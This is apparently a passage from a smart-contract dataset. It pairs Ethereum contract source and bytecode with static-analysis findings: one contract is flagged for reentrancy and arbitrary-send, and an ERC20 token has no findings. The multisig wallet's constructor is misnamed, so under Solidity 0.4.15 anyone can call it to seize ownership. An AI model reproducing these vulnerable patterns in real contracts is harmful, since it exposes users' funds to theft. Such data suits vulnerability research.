05061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204640d5d34d11e34574327d556e27f020387549b20fa29e595ae72b778bf1672964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,280
0x36b212cd3b30beffc9122594af192889457e0c6d
/** *Submitted for verification at Etherscan.io on 2021-05-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // ---------------------------------------------------------------------------- // Black Gold Token // // Deployed to : 0x785A3828B2CB4282bD3Ef8C6e8a30FDF3212E067 // Symbol : BGD // Name : Black Gold // Total supply: 850,000,000 // Decimals :18 // // Deployed by Black Gold Ecosystem // ---------------------------------------------------------------------------- /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Burn `amount` tokens from 'owner' * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function burn(uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract BlackGold is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimal; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_, uint8 decimal_, uint256 totalSupply_) { _name = name_; _symbol = symbol_; _decimal = decimal_; _mint(_msgSender(), totalSupply_); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return _decimal; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual override returns (bool) { _burn(_msgSender(), amount); return true; } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b411461019d578063a457c2d7146101a5578063a9059cbb146101b8578063dd62ed3e146101cb576100cf565b806342966c681461016257806370a082311461017557806379cc679014610188576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101de565b6040516100e99190610897565b60405180910390f35b61010561010036600461084b565b610270565b6040516100e9919061088c565b61011a61028d565b6040516100e99190610b92565b610105610135366004610810565b610293565b610142610333565b6040516100e99190610b9b565b61010561015d36600461084b565b61033c565b610105610170366004610874565b61038b565b61011a6101833660046107bd565b6103a7565b61019b61019636600461084b565b6103c2565b005b6100dc610417565b6101056101b336600461084b565b610426565b6101056101c636600461084b565b6104a1565b61011a6101d93660046107de565b6104b5565b6060600480546101ed90610bd8565b80601f016020809104026020016040519081016040528092919081815260200182805461021990610bd8565b80156102665780601f1061023b57610100808354040283529160200191610266565b820191906000526020600020905b81548152906001019060200180831161024957829003601f168201915b5050505050905090565b600061028461027d6104e0565b84846104e4565b50600192915050565b60025490565b60006102a0848484610598565b6001600160a01b0384166000908152600160205260408120816102c16104e0565b6001600160a01b03166001600160a01b031681526020019081526020016000205490508281101561030d5760405162461bcd60e51b8152600401610304906109f7565b60405180910390fd5b610328856103196104e0565b6103238685610bc1565b6104e4565b506001949350505050565b60035460ff1690565b60006102846103496104e0565b8484600160006103576104e0565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546103239190610ba9565b600061039e6103986104e0565b836106c0565b5060015b919050565b6001600160a01b031660009081526020819052604090205490565b60006103d0836101d96104e0565b9050818110156103f25760405162461bcd60e51b815260040161030490610a3f565b610408836103fe6104e0565b6103238585610bc1565b61041283836106c0565b505050565b6060600580546101ed90610bd8565b600080600160006104356104e0565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156104815760405162461bcd60e51b815260040161030490610b4d565b61049761048c6104e0565b856103238685610bc1565b5060019392505050565b60006102846104ae6104e0565b8484610598565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661050a5760405162461bcd60e51b815260040161030490610b09565b6001600160a01b0382166105305760405162461bcd60e51b81526004016103049061096f565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061058b908590610b92565b60405180910390a3505050565b6001600160a01b0383166105be5760405162461bcd60e51b815260040161030490610ac4565b6001600160a01b0382166105e45760405162461bcd60e51b8152600401610304906108ea565b6105ef838383610412565b6001600160a01b038316600090815260208190526040902054818110156106285760405162461bcd60e51b8152600401610304906109b1565b6106328282610bc1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610668908490610ba9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106b29190610b92565b60405180910390a350505050565b6001600160a01b0382166106e65760405162461bcd60e51b815260040161030490610a83565b6106f282600083610412565b6001600160a01b0382166000908152602081905260409020548181101561072b5760405162461bcd60e51b81526004016103049061092d565b6107358282610bc1565b6001600160a01b03841660009081526020819052604081209190915560028054849290610763908490610bc1565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061058b908690610b92565b80356001600160a01b03811681146103a257600080fd5b6000602082840312156107ce578081fd5b6107d7826107a6565b9392505050565b600080604083850312156107f0578081fd5b6107f9836107a6565b9150610807602084016107a6565b90509250929050565b600080600060608486031215610824578081fd5b61082d846107a6565b925061083b602085016107a6565b9150604084013590509250925092565b6000806040838503121561085d578182fd5b610866836107a6565b946020939093013593505050565b600060208284031215610885578081fd5b5035919050565b901515815260200190565b6000602080835283518082850152825b818110156108c3578581018301518582016040015282016108a7565b818111156108d45783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526024908201527f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f77604082015263616e636560e01b606082015260800190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610bbc57610bbc610c13565b500190565b600082821015610bd357610bd3610c13565b500390565b600281046001821680610bec57607f821691505b60208210811415610c0d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220715a331e382aaad53f9ae5305357c095e9bae9cd4e255bf9d2f3e433598140aa64736f6c63430008000033
{"success": true, "error": null, "results": {}}
7,281
0x75764e5AeD7FE9269D89b7c293727422a0454228
pragma solidity 0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="7b080f1e1d1a15551c1e14091c1e3b181415081e1508020855151e0f">[email&#160;protected]</a>> contract PsyMultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction tx = transactions[transactionId]; tx.executed = true; if (tx.destination.call.value(tx.value)(tx.data)) Execution(transactionId); else { ExecutionFailure(transactionId); tx.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x606060405236156101255763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610170578063173825d9146101a257806320ea8d86146101c35780632f54bf6e146101db5780633411c81c1461020e57806354741525146102445780637065cb4814610273578063784547a7146102945780638b51d13f146102be5780639ace38c2146102e6578063a0e67e2b146103a5578063a8abe69a1461040c578063b5dc40c314610483578063b77bf600146104ed578063ba51a6df14610512578063c01a8c841461052a578063c642747414610542578063d74f8edd146105b9578063dc8452cd146105de578063e20056e614610603578063e5c469441461062a578063ee22610b1461067d575b5b600034111561016d5733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b5b005b341561017b57600080fd5b610186600435610695565b604051600160a060020a03909116815260200160405180910390f35b34156101ad57600080fd5b61016d600160a060020a03600435166106c7565b005b34156101ce57600080fd5b61016d600435610878565b005b34156101e657600080fd5b6101fa600160a060020a036004351661095a565b604051901515815260200160405180910390f35b341561021957600080fd5b6101fa600435600160a060020a036024351661096f565b604051901515815260200160405180910390f35b341561024f57600080fd5b6102616004351515602435151561098f565b60405190815260200160405180910390f35b341561027e57600080fd5b61016d600160a060020a03600435166109fe565b005b341561029f57600080fd5b6101fa600435610b33565b604051901515815260200160405180910390f35b34156102c957600080fd5b610261600435610bc7565b60405190815260200160405180910390f35b34156102f157600080fd5b6102fc600435610c46565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a0830190859080156103935780601f1061036857610100808354040283529160200191610393565b820191906000526020600020905b81548152906001019060200180831161037657829003601f168201915b50509550505050505060405180910390f35b34156103b057600080fd5b6103b8610c7a565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f85780820151818401525b6020016103df565b505050509050019250505060405180910390f35b341561041757600080fd5b6103b860043560243560443515156064351515610ce3565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f85780820151818401525b6020016103df565b505050509050019250505060405180910390f35b341561048e57600080fd5b6103b8600435610e11565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103f85780820151818401525b6020016103df565b505050509050019250505060405180910390f35b34156104f857600080fd5b610261610f93565b60405190815260200160405180910390f35b341561051d57600080fd5b61016d600435610f99565b005b341561053557600080fd5b61016d600435611027565b005b341561054d57600080fd5b61026160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061111995505050505050565b60405190815260200160405180910390f35b34156105c457600080fd5b610261611139565b60405190815260200160405180910390f35b34156105e957600080fd5b61026161113e565b60405190815260200160405180910390f35b341561060e57600080fd5b61016d600160a060020a0360043581169060243516611144565b005b341561063557600080fd5b61016d6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650509335935061130592505050565b005b341561068857600080fd5b61016d60043561141c565b005b60038054829081106106a357fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a03161415156106e957600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561071257600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b6003546000190182101561080d5782600160a060020a031660038381548110151561075c57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156108015760038054600019810190811061079d57fe5b906000526020600020900160005b9054906101000a9004600160a060020a03166003838154811015156107cc57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a0316021790555061080d565b5b600190910190610735565b60038054600019019061082090826116df565b5060035460045411156108395760035461083990610f99565b5b82600160a060020a03167f8001553a916ef2f495d26a907c